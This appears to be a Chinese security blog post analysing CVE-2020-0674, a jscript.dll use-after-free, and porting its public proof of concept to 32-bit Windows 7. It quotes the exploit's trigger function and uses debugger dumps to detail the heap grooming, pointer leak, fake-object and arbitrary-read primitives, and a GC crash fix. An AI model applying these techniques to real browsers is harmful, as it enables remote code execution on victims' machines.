背景
CVE-2020-0674是被APT组织Darkhotel所利用的一个漏洞,完整的APT分析可以阅读360 核心安全技术博客上的一篇文章。F-secure的研究员maxpl0it在Github上公开了一份针对win7 x64的poc,在分析过CVE-2017-11907和CVE-2018-8353后,笔者对jscript.dll模块中已经比较熟悉,这里尝试对CVE-2020-0674漏洞进行分析并在win7 x86上复现RCE。
漏洞原理
Github上提供的样本可读性非常好,根据maxpl0it的注释,很容易就定位到漏洞触发的函数
// initial_exploit: The main exploit function.
function initial_exploit(untracked_1, untracked_2) {
untracked_1 = spray[depth*2];
untracked_2 = spray[depth*2 + 1];
if(depth > 150) {
spray = new Array(); // Erase spray
CollectGarbage(); // Add to free
for(i = 0; i < overlay_size; i++) {
overlay[i][variants] = 1;
overlay[i][padding] = 1;
overlay[i][leak] = 1;
overlay[i][leaked_var] = i;
}
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// Set pointers
depth += 1;
sort[depth].sort(initial_exploit);
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
上面这段利用比较清晰的说明了漏洞,initial_exploit是传入sort函数的一个比较函数,而initial_exploit这样的函数指针的参数是不会被GC跟踪,因此在initial_exploit内部为untracked赋值,再通过spray = new Array();CollectGarbage();
的方式手动调用GC,此时原来的Object会被释放,但untracked仍然保持了一个指向该片内存的指针,即产生了垂悬指针。
Jscript.dll中的GC管理
为了更好的阐述漏洞分析的过程,需要介绍一些jscript.dll中GC管理的知识。
下面给出两个关键的结构GcBlock和VAR,其中GcBlock是用来管理对象使用的,GcBlock中的VAR会指向对象实际的内存。
struct VAR
{
word type;
word unknown;
dword unknown;
dword value;
dword *next;
}
struct GcBlock
{
dword *prev;
dword *next;
VAR mem[100];
}
jscript.dll中的GC采用的算法是mark-sweep算法,根据逆向GcContext::CollectCore的结果,大致可以分成如下三个步骤:
- Mark,标记GcBlock中VAR的type域
- Scavenge,尝试遍历所有可达的对象并取消他们的标记
- Reclaim,释放仍被标记的对象
这里使用如下的demo来让读者初步认识一个jscript.dll中的GC:
function main(){
var ty;
ty = new Object();
ty['aaaa'] = 1;
alert('1');
ty = new Object();
ty['bbbb'] = 2;
CollectGarbage();
}
按照上面的说明,第一个Object将会被释放,其中VAR的type域会被修改两次(0x810x8810x0),第二个Object对应的VAR的type域也会被修改两次(0x810x8810x81),对GcBlock中指向第一个Object的VAR的type域设置硬件断点,验证如下:
0:016> ?jscript!NameTbl::`vftable'
Evaluate expression: 1809127752 = 6bd51948
// 通过搜索虚表找到Object
0:016> s -d 0x0 L?0x7fffffff 6bd51948
02b3e458 6bd51948 00000000 02b3daa0 02b3cdd8 H..k............
6bd55a2c 6bd51948 0244838b 07c70000 6bd55b20 H..k..D..... [.k
6bd56470 6bd51948 0f045e39 044d2d8f 084e8b00 H..k9^...-M...N.
6bd5717c 6bd51948 000057e8 30acb900 c38b6bdd H..k.W.....0.k..
0:016> dd 02b3daa0
02b3daa0 6bd51924 00000001 00000001 02b3db10
02b3dab0 0000003c 00000100 00000100 00004000
02b3dac0 02b3db14 02b3db34 02b3fd20 0000000f
0:016> dd 02b3db14
02b3db14 00000003 00000000 00000001 00000000
02b3db24 00000000 00000000 0007b9e4 00000008
02b3db34 00000000 00000000 00000001 00000000
02b3db44 00610061 00610061 00000000 00000000
0:016> s -d 0x0 L?0x7fffffff 02b3e458
02b3d728 02b3e458 00000000 00000081 00000000 X...............
//找到Gcblock
0:016> dd 02b3d728 -8 L4
02b3d720 00000081 00000000 02b3e458 00000000
0:016> !heap -p -a 02b3d720
address 02b3d720 found in
_HEAP @ 2e0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02b3d190 00ca 0000 [00] 02b3d198 00648 - (busy)
0:016> ba w1 02b3d720
0:016> g
Breakpoint 0 hit
eax=00000881 ebx=0000008a ecx=02b3d720 edx=00000010 esi=02b3d7e0 edi=02b3d198
eip=6bd567c0 esp=0571b568 ebp=0571b5a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
jscript!GcAlloc::SetMark+0x38:
6bd567c0 03ca add ecx,edx
0:012> g
Breakpoint 0 hit
eax=00000004 ebx=02b3d7e0 ecx=00000081 edx=02b3d170 esi=02b3d720 edi=00000001
eip=6bd56b66 esp=0571b518 ebp=0571b558 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
jscript!GcAlloc::ReclaimGarbage+0xb1:
6bd56b66 66394ddc cmp word ptr [ebp-24h],cx ss:0023:0571b534=008a
可以看到,gcblock.mem[k]中的type域只命中了两次硬件写入断点,为GcAlloc::SetMark和GcAlloc::ReclaimGarbage,对应Mark和Reclaim
类似的,可以得出第二个Object会命中GcAlloc::SetMark和Scavenge
var a = new Object();
a['aaaa'] = 1;
因此,上面的代码片段在内存的组织如下所示:
//硬件断点断在Scavenge
0:012> dd ecx L2c/4
0268cda0 6c4b43e0 0268cd10 0268e914 0268ea1c
0268cdb0 000000c8 0268daa0 00000000 052eb7dc
0268cdc0 0268e078 0266cb18 00000000
0:012> u 6c4b43e0 L1
jscript!VarStack::`vftable':
6c4b43e0 bf6f4b6cc1 mov edi,0C16C4B6Fh
0:012> dd 052eb7dc
052eb7dc 0268e008 02690051 0269001c 00000003
052eb7ec 0268edc0 00000000 00000000 0268e018
052eb7fc 0269001c 0268e058 052eb8f0 00000000
052eb80c 0268e018 0268e018 0268e048 0268e088
052eb81c 052eb908 00000000 0268d0d0 00000000
052eb82c 00008003 00000000 00000000 00000000
052eb83c fffffffe 052eb488 052eb784 ffffffff
052eb84c 00000080 0266cb18 0268d740 00167af0
0:012> dd 0268e008
0268e008 77a80083 00000005 0268d760 77ac57df
0268e018 02680000 00000006 0062004f 0268e068
0268e028 00000000 00000000 00000000 00000000
0268e038 02680080 0268e9f0 0268d720 6c4b10ed
0268e048 02680000 00000004 00610061 00610061
0268e058 00000000 00000000 40000000 00843158
0268e068 00000080 00000000 0268d760 00000000
0268e078 052ebe1c 0268e0d8 00720065 00000074
// gcblock
0:012> dd 0268d720
0268d720 00000081 00000000 02690078 0268d760
0268d730 00000881 00000000 0268e9f0 00000000
0268d740 00000881 00000000 0268e970 00000000
0268d750 6c4b0887 00000000 045281a0 00000001
0268d760 00000081 00000000 0268d0d0 0268d780
0268d770 00000881 00000000 0268e8f0 00000000
0268d780 00000081 00000000 0268e880 00000000
0268d790 00000881 00000000 0268e838 00000000
// NameTbl
0:012> dd 02690078
02690078 6c4b1948 00000000 0268ea60 0268cdd8
02690088 0268d720 ffffffff 0268d790 00000000
02690098 00000000 6c4b4d1c 0268cd10 00000000
026900a8 00000000 6c533164 1b1201f4 80000000
026900b8 00000012 00000000 00000000 00000000
026900c8 00000000 00000000 00000000 00000000
026900d8 00000000 00000000 00000000 00000000
026900e8 00000000 00000000 1b1201fc 80000000
0:012> u 6c4b1948 L1
jscript!NameTbl::`vftable':
// NameList
0:012> dd 0268ea60
0268ea60 6c4b1924 00000001 00000001 0268eb18
0268ea70 0000003c 00000100 00000100 00004000
0268ea80 0268eb1c 0268eb3c 0268ead0 0000000f
0268ea90 00000040 00000001 0000000a 0268eaa0
0268eaa0 0268eb1c 00000000 00000000 00000000
0268eab0 00000000 00000000 00000000 00000000
0268eac0 00000000 00000000 6e35606c 08033201
0268ead0 00000000 00000000 00000000 00000000
// vval
0:012> dd 0268eb1c
0268eb1c 00650003 00000077 00000001 40000000
0268eb2c 00000000 00000000 0007b9e4 00000008
0268eb3c 00000000 00000000 00000001 00000000
0268eb4c 00610061 00610061 00000000 00000000
0268eb5c 00000000 00000000 00000000 00000000
0268eb6c 00000000 00000000 00000000 00000000
0268eb7c 00000000 00000000 00000000 00000000
0268eb8c 00000000 00000000 00000000 00000000
结论是:
- gcblock.mem[k]指向Object
- 将 javascript中的变量赋值一个Object,那么这个变量可以理解成一个VAR(0x80, 0, gcblock.mem[k], 0)
因此漏洞中所描述的initial_exploit参数不会被GC跟踪,具体是指上述这样的VAR(0x80)仍然存在,从GC的步骤来描述就是在Scavenge过程中,不会对untracked调用Scavenge,从而GC得出结论认为对象是不可达的,在第三步Reclaim中将Object的内存释放。
leak_var()
将UAF转化成信息泄露是和CVE-2018-8353一样的方式,可以参考@银雁冰在看雪论坛上对CVE-2018-8353的分析
先补充两个知识点:
- 如果一个Object被释放,那么其在GcBlock中的VAR的type会被置0,若一个GcBlock中所有VAR的type都是0,那么这个GcBlock会被释放;
- NameList是jscript.dll中的哈希表结构体,Object的属性会被存放在其中,(name, value)会使用VVAL结构体(大小为0x30+name)来组织,NameList会指定一块内存来存放VVAL:(以下均可以逆向NameList::FCreateVval得出)
1) 如果是第一个VVAL,且name长度合理,按照(2x + 0x32) * 2 + 4的计算公式来申请内存,后面存放的VVAL也会使用这块内存;
2)name长度过长,只申请这一个VVAL的大小;
3)多段内存通过第一个dword构成单链表;
4)VVAL之间通过next域构成单链表(泄露的地址)。
UAF首先需要进行占位,样本中是这样做的,通过大量的new Object(),此时大量的GcBlock都被Object占满,然后在initial_exploit以递归的方式保存untracked,并在递归深度大于150时释放spray,这样不仅仅Object会被释放,被Object占满的GcBlock也会被释放,然后再使用NameList::FCreateVval创建特定大小(0x648)的内存对GcBlock进行占位;
untrack被保存至数组total中,因此可以通过total对GcBlock进行访问,这里需要通过深入逆向VVAL的结构体
struct VVAL
{
VAR variant;
dword;
dword;
int hash;
unsigned int name_length;
VVAL *next;
VVAL *next_hashbucket_vval;
int id_number;
dword;
wchar_t name[];
}
其中有两个dword包含了地址,其中next域通过设置下一个属性是可以稳定泄露指针,为了达成这个目的,需要将hash设置成指定的值
通过逆向函数CaseInsensitiveComputeHashCch可知,如果length为1,且v5-65为负数,那么hash即为字符串本身,样本中将这里布置成0x05,0x05在VAR中代表浮点数。
样本中共布置了4个属性,第一个用于占位GcBlock,第二个用于对齐GcBlock,第三个用于泄露next,第四个VVAL用于给next赋值并通过value表示下标;
这样可以达成地址泄露。
get_rewirte_offset()与rewrite
get_rewirte_offset()
第一次uaf的overlay被保存在了overlay_backup,后面使用initial_exploit进行uaf的overlay与第一次不是同一个,需要知道overlay_backup中哪一个对象命中了地址泄露,样本中采用了和laek_var同样的手法,在第一个VVAL的name域构造大量与GcBlock.mem重叠的VAR,泄露出overlay_backup[offset]中的第四个VVAL,;
rewrite()
在知道overlay_backup的下标后,包装出一个修改第四个VVAL的功能,只需要释放对应的Object,然后再new的Object中的布置新内容
get_fakeobj
通过rewrite和init_exploit,泄露出一个fakeobj_var,这是在第四个VVAL的name域伪造的VAR,这里需要理清楚访问的逻辑
fakeobj_var —> GcBlock(由overlay中的Object导致的占位)—> fake_VAR
即VAR(0x80) —> VAR(0x80) —> fake_VAR
这个过程中只有最终的fake_VAR是可控的
任意地址读 原语
如果构造fake_VAR是BSTR,那么通过fakeobj_var进行访问是合法的
考虑一个BSTR的VAR,0x08 0x00 taddr pad,那么可以通过bstr.length实现任意地址读,具体如下:
bstr.length = (dword)[taddr-4]>>1
可以看到length会丢失一个比特的内容,下面以读取一个byte为例说明样本中的读取方法
令taddr = addr + 2
则 [taddr-4]会读取addr-2,addr-1,addr,addr+1这4个byte,要想获取addr这个byte可用以下的公式:
(fakeobj.length >> 15) & 0xff,其中addr-2会因为>>1而破坏,addr-2和addr-1都是不需要的,设置一次fake_VAR最多可以读取一个word,addr+1,addr
GC崩溃
首先谈谈GC崩溃,移植至32位时,在执行到函数rewrite时,会发生崩溃,崩溃现场如下所示:
eax=05ac8bec ebx=0000f7ff ecx=05ac8bec edx=00000081 esi=00000080 edi=01f083b8
eip=67a06a6a esp=049ba6cc ebp=049ba6d8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript!NameList::ScavengeRoots+0x20:
67a06a6a 0fb706 movzx eax,word ptr [esi] ds:0023:00000080=????
0:012> k
# ChildEBP RetAddr
00 049ba6d8 67a06941 jscript!NameList::ScavengeRoots+0x20
01 049ba6ec 67a06dd0 jscript!NameTbl::ScavengeCore+0x42
02 049ba700 67a06cef jscript!GcContext::CollectCore+0xc6
03 049ba718 67a5a465 jscript!GcContext::Collect+0x26
04 049ba71c 67a05950 jscript!JsCollectGarbage+0x1c
05 049ba784 67a02fe9 jscript!NatFncObj::Call+0xce
06 049ba80c 67a02c68 jscript!NameTbl::InvokeInternal+0x108
07 049ba8f4 67a02bbb jscript!VAR::InvokeByDispID+0x70
0x80显然与构造的VAR有关,但直接看也看不出什么,开始逆向NameList::ScavengeRoots
逆向后发现此处崩溃是在发生在遍历VVAL的过程中,但很难直接判断出是哪一个Object的VVAL遍历出现了问题
因此对NameList::ScavengeRoots设置了断点,并打印ecx的值,查看最后一次造成崩溃的NameList
bp jscript!NameList::ScavengeRoots "r ecx;g"
g
...
ecx=08724910
ecx=087248a0
(918.cf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06358bec ebx=0000f7ff ecx=06358bec edx=00000081 esi=00000080 edi=0281cd40
eip=69cb6a6a esp=0547a7c4 ebp=0547a7d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript!NameList::ScavengeRoots+0x20:
69cb6a6a 0fb706 movzx eax,word ptr [esi] ds:0023:00000080=????
0:012> dd 087248a0
087248a0 69cb1924 00000004 00000004 08893788
087248b0 000003d4 00000644 00000100 00004000
087248c0 0889378c 08893b4c 086888d8 0000000f
087248d0 00000040 00000004 0000000a 087248e0
087248e0 0889378c 08893ab0 08893af8 08893b2c
087248f0 00000000 00000000 00000000 00000000
08724900 00000000 00000000 6332436f 88000000
08724910 69cb1924 00000004 00000004 08893e10
0:012> dd 0889378c
0889378c 02810003 0541b5a4 00000001 00000000
0889379c 00000000 00000000 dfd98ab6 000002f0
088937ac 08893ab0 00000000 00000001 089a7698
088937bc 00410041 00000080 00000000 06358bec
088937cc 00000000 00000080 00000000 06358bec
088937dc 00000000 00000080 00000000 06358bec
088937ec 00000000 00000080 00000000 06358bec
088937fc 00000000 00000080 00000000 06358bec
0:012> dd 08893ab0
08893ab0 02810003 0541bda4 00000001 00000000
08893ac0 00000000 00000000 01fe769b 00000016
08893ad0 088932f8 00000000 00000002 08893ae0
08893ae0 00410041 00410041 00410041 00410041
08893af0 00410041 00000041 02810003 0541bda4
08893b00 00000001 00000000 00000000 08893b10
08893b10 00000005 00000002 08893b2c 00000000
08893b20 00000003 00000000 00000005 02810003
0:012> dd 08893af8
08893af8 02810003 0541bda4 00000001 00000000
08893b08 00000000 08893b10 00000005 00000002
08893b18 08893b2c 00000000 00000003 00000000
08893b28 00000005 02810003 0541b5a4 00000001
08893b38 00000000 00000000 00000000 00000061
08893b48 00000002 00000000 00000000 00000004
08893b58 089a6818 00000041 00000000 00000000
08893b68 089a67d8 08893b70 00000000 00000000
以上可以发现是Vval的next域被修改,而根据多次实验发现导致奔溃的第四个Vval的Value都是1,即在overlay中的offset为1的Object导致崩溃,因此对此Object的第二个Vval的next域设置硬件断点,发现不是分配时对该值初始化错误,而是函数CIndexedNameList::ScavengeRoots对其进行了修改。
类似的在创建Vval的时候对next域下硬件断点,然后再在gc时对CIndexedNameList::ScavengeRoots设断,发现第七次命中CIndexedNameList::ScavengeRoots会命中硬件断点,查看此时的CIndexNameList
0:012> dd 01c04e28 L80
01c04e28 6cae23c0 00000132 00000002 0557f5f0
01c04e38 0000007c 00000100 00000100 00004000
01c04e48 0557f5f4 0557f650 0ba980e8 0000000f
01c04e58 00000040 00000000 0000000a 01c04e68
01c04e68 00000000 00000000 00000000 00000000
01c04e78 00000000 00000000 00000000 00000000
01c04e88 00000000 00000000 07283458 00000040 --------<ArrayDataList>
01c04e98 00000003 00000008 062bd880 00000700
01c04ea8 00002000 00000100 00004000 00000000
01c04eb8 00000080 00000001 07c0bfe8 6caea771 --------<1>
01c04ec8 00000000 00000000 00000003 00000000
01c04ed8 00000080 00000001 07c0bfd8 6caea771 --------<2>
01c04ee8 00000000 00000000 00000004 00000000
01c04ef8 00000080 00000001 07c0c008 6caea771 --------<3>
01c04f08 00000000 00000000 00000005 00000000
01c04f18 00000080 00000001 07c0bff8 6caea771 --------<4>
01c04f28 00000000 00000000 00000006 00000000
01c04f38 00000080 00000001 07c0c028 6caea771 --------<5>
01c04f48 00000000 00000000 00000007 00000000
01c04f58 00000080 00000001 07c0c018 6caea771 --------<6>
01c04f68 00000000 00000000 00000008 00000000
01c04f78 00000080 00000001 07c0c048 6caea771 --------<7>
01c04f88 00000000 00000000 00000009 00000000
01c04f98 00000080 00000001 07c0c038 6caea771 --------<8>
01c04fa8 00000000 00000000 0000000a 00000000
01c04fb8 01c04eb8 00000008 00000200 00000130 --------<0x130 = 304>
01c04fc8 00000132 00000140 0bb90048 0557f5f4
01c04fd8 00000000 0557f630 00000000 00000000
01c04fe8 00000001 00000001 00000001 00000002
01c04ff8 00000001 00000003 00000001 00000004
01c05008 00000001 00000005 00000001 00000006
01c05018 00000001 00000007 00000001 00000000
CIndexedNameList是jscript.dll中的数组,CIndexedNameList的详细数据结构可以参考The Art of Leaks: The Return of Heap Feng Shui中的p9-p10,这里只需要判断出这个CIndexedNameList对应着total这个数组(根据数组中元素的个数),此时动态调试后发现CIndexedNameList::ScavengeRoots会将数组中的每一个VAR指向的内存都&0xF7FF
,这就是导致Vval中next域被修改的元凶。
根据前面介绍的GC知识,Scavenge函数是为了找到所有可达的对象,total中保存了304个对象的指针,GC会将这些对象在GcBlock中的type的标记去除,去除的方式就是&0xF7FF
,但实际上这个GcBlock已经被重占用了,也没有所谓的标记过程,因此这里让total不可达即可,即在rewirte()函数中的GC前执行total = new Array();
RCE过程中64位与32位的区别
64位下的RCE
由于32位和64位的传参方式不同,这样的构造无法将参数传递给NtContinue
32位下的RCE
maxpl0it在writeup上提到了stack pivot,32位下也可以使用这一技巧,具体如下图所示:
移植后的poc见github
发表评论
您还未登录,请先登录。
登录